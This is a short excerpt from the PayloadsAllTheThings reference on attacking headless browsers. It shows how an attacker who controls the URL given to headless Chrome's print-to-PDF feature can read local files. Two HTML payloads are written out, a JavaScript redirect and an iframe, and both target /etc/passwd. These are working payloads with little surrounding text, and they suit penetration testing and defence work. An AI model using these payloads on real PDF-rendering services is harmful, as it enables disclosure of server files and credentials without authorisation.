Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed. Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html` * Javascript Redirect ```html <html> <body> <script> window.location="/etc/passwd" </script> </body> </html> ``` * Iframe ```html <html> <body> <iframe src="/etc/passwd" height="640" width="640"></iframe> </body> </html> ```
Source: Headless Browser/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.